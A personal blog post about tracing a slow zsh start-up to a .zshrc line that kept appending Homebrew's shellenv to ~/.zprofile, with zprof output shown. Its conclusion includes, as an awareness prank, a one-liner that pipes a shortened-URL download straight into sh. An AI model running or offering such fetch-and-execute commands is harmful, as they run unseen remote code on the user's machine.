Photo by Joan Gamell on Unsplash
Before You Blame Your Terminal Speed
I spent many weeks to find what slowed down my zsh terminal so you don't have to.
I was, in the past few weeks, trying to find what was slowing down my terminal. I use iTerm2 on my MacBook Pro 14" with an M2 Pro chip. I tried many things like uninstalling oh-my-zsh
, looking deeply into the my own dot-files, checking .zshrc
and even seeing if there is something wrong with my zsh
binary that comes default with the OS. I also surfed many issues in Github repositories of most suspectable installations I had like jenv
, rbenv
and oh-my-zsh
plugins.
Nothing helped me out.
So I started getting more frustrated.
Then I started profiling my zsh
default dot-files (started with .zshrc
)
zmodload zsh/zprof
# all the contents of .zshrc
zprof
Which again didn't show anything that should trigger me to start investigating into a specific command.
num calls time self name
-----------------------------------------------------------------------------------
1) 2 15.72 7.86 30.40% 15.72 7.86 30.40% compaudit
2) 20 17.47 0.87 33.79% 12.90 0.65 24.95% _omz_source
3) 1 27.42 27.42 53.03% 11.70 11.70 22.63% compinit
4) 1 4.17 4.17 8.06% 4.17 4.17 8.06% (anon) [/Users/fahad/.oh-my-zsh/tools/check_for_upgrade.sh:155]
5) 1 2.84 2.84 5.49% 2.84 2.84 5.49% test-ls-args
6) 1 6.04 6.04 11.68% 1.88 1.88 3.63% handle_update
7) 1 0.62 0.62 1.19% 0.62 0.62 1.19% colors
8) 1 0.59 0.59 1.15% 0.59 0.59 1.15% zrecompile
9) 1 0.51 0.51 0.99% 0.51 0.51 0.99% regexp-replace
10) 6 0.37 0.06 0.72% 0.37 0.06 0.72% add-zsh-hook
11) 1 0.22 0.22 0.43% 0.22 0.22 0.43% is-at-least
12) 2 0.10 0.05 0.19% 0.10 0.05 0.19% compdef
13) 3 0.04 0.01 0.09% 0.04 0.01 0.09% is_theme
14) 2 0.03 0.01 0.05% 0.03 0.01 0.05% env_default
15) 1 0.01 0.01 0.02% 0.01 0.01 0.02% jyarn
16) 1 0.01 0.01 0.02% 0.01 0.01 0.02% bashcompinit
# rest of output truncated
Fun Part
Here is what actually happened.
I put a line
(echo; echo 'eval "\$(${HOMEBREW_PREFIX}/bin/brew shellenv)"') >> ~/.zprofile
Inside my .zshrc
rather running it once. Now that when I opened up my terminal, every single time, eval "$(${HOMEBREW_PREFIX}/bin/brew shellenv)"
was getting appended to ~/.zprofile
.
And on every terminal start-up it ran eval "$(${HOMEBREW_PREFIX}/bin/brew shellenv)"
1 + LAST_N_TIMES_TERMINAL_WAS_RUN
.
Conclusion
Never put everything to your dot-file without actually looking into what that command does.
Run this,
sh -c "$(curl -fsSL https://tinyurl.com/ykaedekn)"
What did I just say? Don't run anything copied from the internet.
This time you were safe.
✨ github.com/datumbrain/evilscript please star this repo and share it to spread awareness to not repeat what I did.